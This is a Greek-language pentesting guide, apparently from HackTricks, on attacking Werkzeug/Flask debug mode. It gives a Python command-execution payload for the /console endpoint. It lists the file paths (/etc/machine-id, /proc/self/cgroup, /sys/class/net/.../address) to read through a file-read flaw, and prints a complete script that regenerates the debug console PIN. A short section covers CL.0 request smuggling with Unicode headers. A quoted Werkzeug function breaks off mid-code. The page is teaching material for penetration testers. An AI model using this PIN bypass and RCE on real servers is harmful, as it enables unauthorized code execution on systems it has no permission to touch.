Werkzeug / Flask Debug

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε λίγο χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.

Console RCE

Αν η λειτουργία αποσφαλμάτωσης είναι ενεργή μπορείτε να δοκιμάσετε να έχετε πρόσβαση στο /console και να κερδίσετε RCE.

__import__('os').popen('whoami').read();

Υπάρχουν επίσης αρκετές εκμεταλλεύσεις στο διαδίκτυο όπως αυτή ή μία στο metasploit.

Προστατευμένο με PIN - Διάβαση Διαδρομής

Σε ορισμένες περιπτώσεις το /console σημείο πρόσβασης θα προστατεύεται με ένα pin. Αν έχετε μια ευπάθεια διάβασης αρχείων, μπορείτε να διαρρεύσετε όλες τις απαραίτητες πληροφορίες για τη δημιουργία αυτού του pin.

Εκμετάλλευση PIN της Κονσόλας Werkzeug

Εξαναγκάστε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" εμφανίζεται κατά την προσπάθεια πρόσβασης στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την ανάγκη για ένα PIN για ξεκλείδωμα της κονσόλας. Προτείνεται η εκμετάλλευση του PIN της κονσόλας αναλύοντας τον αλγόριθμο παραγωγής PIN στο αρχείο εκκίνησης αποσφαλμάτωσης του Werkzeug (__init__.py). Ο μηχανισμός παραγωγής PIN μπορεί να μελετηθεί από το αποθετήριο κώδικα του Werkzeug, αν και συνιστάται η απόκτηση του πραγματικού κώδικα του διακομιστή μέσω μιας ευπάθειας διάβασης αρχείου λόγω πιθανών ανισοτήτων έκδοσης.

Για την εκμετάλλευση του PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, probably_public_bits και private_bits:

probably_public_bits

  • username: Αναφέρεται στον χρήστη που ξεκίνησε τη συνεδρία Flask.

  • modname: Συνήθως ορίζεται ως flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Συνήθως αναφέρεται σε Flask.

  • getattr(mod, '__file__', None): Αντιπροσωπεύει την πλήρη διαδρομή προς το app.py μέσα στον κατάλογο του Flask (π.χ., /usr/local/lib/python3.5/dist-packages/flask/app.py). Αν το app.py δεν είναι εφαρμόσιμο, δοκιμάστε το app.pyc.

private_bits

  • uuid.getnode(): Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με την str(uuid.getnode()) να τη μεταφράζει σε δεκαδική μορφή.

  • Για να προσδιοριστεί η διεύθυνση MAC του διακομιστή, πρέπει να εντοπιστεί η ενεργή δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., ens3). Σε περιπτώσεις ανασφάλειας, διαρρεύστε το /proc/net/arp για να βρείτε το αναγνωριστικό συσκευής, και στη συνέχεια εξάγετε τη διεύθυνση MAC από το /sys/class/net/<αναγνωριστικό συσκευής>/address.

  • Η μετατροπή μιας διεύθυνσης MAC από εξαδελφική σε δεκαδική μπορεί να γίνει όπως φαίνεται παρακάτω:

# Παράδειγμα διεύθυνσης MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Συνενώνει δεδομένα από το /etc/machine-id ή το /proc/sys/kernel/random/boot_id με την πρώτη γραμμή του /proc/self/cgroup μετά την τελευταία κάθετο (/).

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

Μετά τη συλλογή όλων των απαραίτητων δεδομένων, το σενάριο εκμετάλλευσης μπορεί να εκτελεστεί για τη δημιουργία του PIN της κονσόλας Werkzeug:

Μετά τη συλλογή όλων των απαραίτητων δεδομένων, το σενάριο εκμετάλλευσης μπορεί να εκτελεστεί για τη δημιουργία του PIN της κονσόλας Werkzeug. Το σενάριο χρησιμοποιεί τα συναρμολογημένα probably_public_bits και private_bits για να δημιουργήσει ένα hash, το οποίο στη συνέχεια υποβάλλεται σε περαιτέρω επεξεργασία για την παραγωγή του τελικού PIN. Παρακάτω υπάρχει ο κώδικας Python για την εκτέλεση αυτής της διαδικασίας:

import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Αυτό το σενάριο παράγει τον Κωδικό PIN με τον τρόπο του κρυπτογραφικού κατακερματισμού των συνενωμένων bits, προσθέτοντας συγκεκριμένα αλάτια (cookiesalt και pinsalt), και διαμορφώνοντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για τα probably_public_bits και private_bits πρέπει να αποκτηθούν με ακρίβεια από το σύστημα-στόχο για να εξασφαλιστεί ότι ο PIN που παράγεται ταιριάζει με αυτόν που αναμένεται από την κονσόλα του Werkzeug.

Αν χρησιμοποιείτε μια παλιά έκδοση του Werkzeug, δοκιμάστε να αλλάξετε τον αλγόριθμο κρυπτογράφησης σε md5 αντί για sha1.

Χαρακτήρες Unicode του Werkzeug

Όπως παρατηρήθηκε σε αυτό το θέμα, το Werkzeug δεν κλείνει ένα αίτημα με χαρακτήρες Unicode στις κεφαλίδες. Και όπως εξηγείται σε αυτή την ανάλυση, αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling.

Αυτό συμβαίνει επειδή, στο Werkzeug είναι δυνατόν να στείλετε μερικούς χαρακτήρες Unicode και αυτό θα κάνει τον διακομιστή να σπάσει. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, έτσι το σώμα του αιτήματος θα θεωρηθεί ως το επόμενο HTTP αίτημα.

Αναφορές

Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated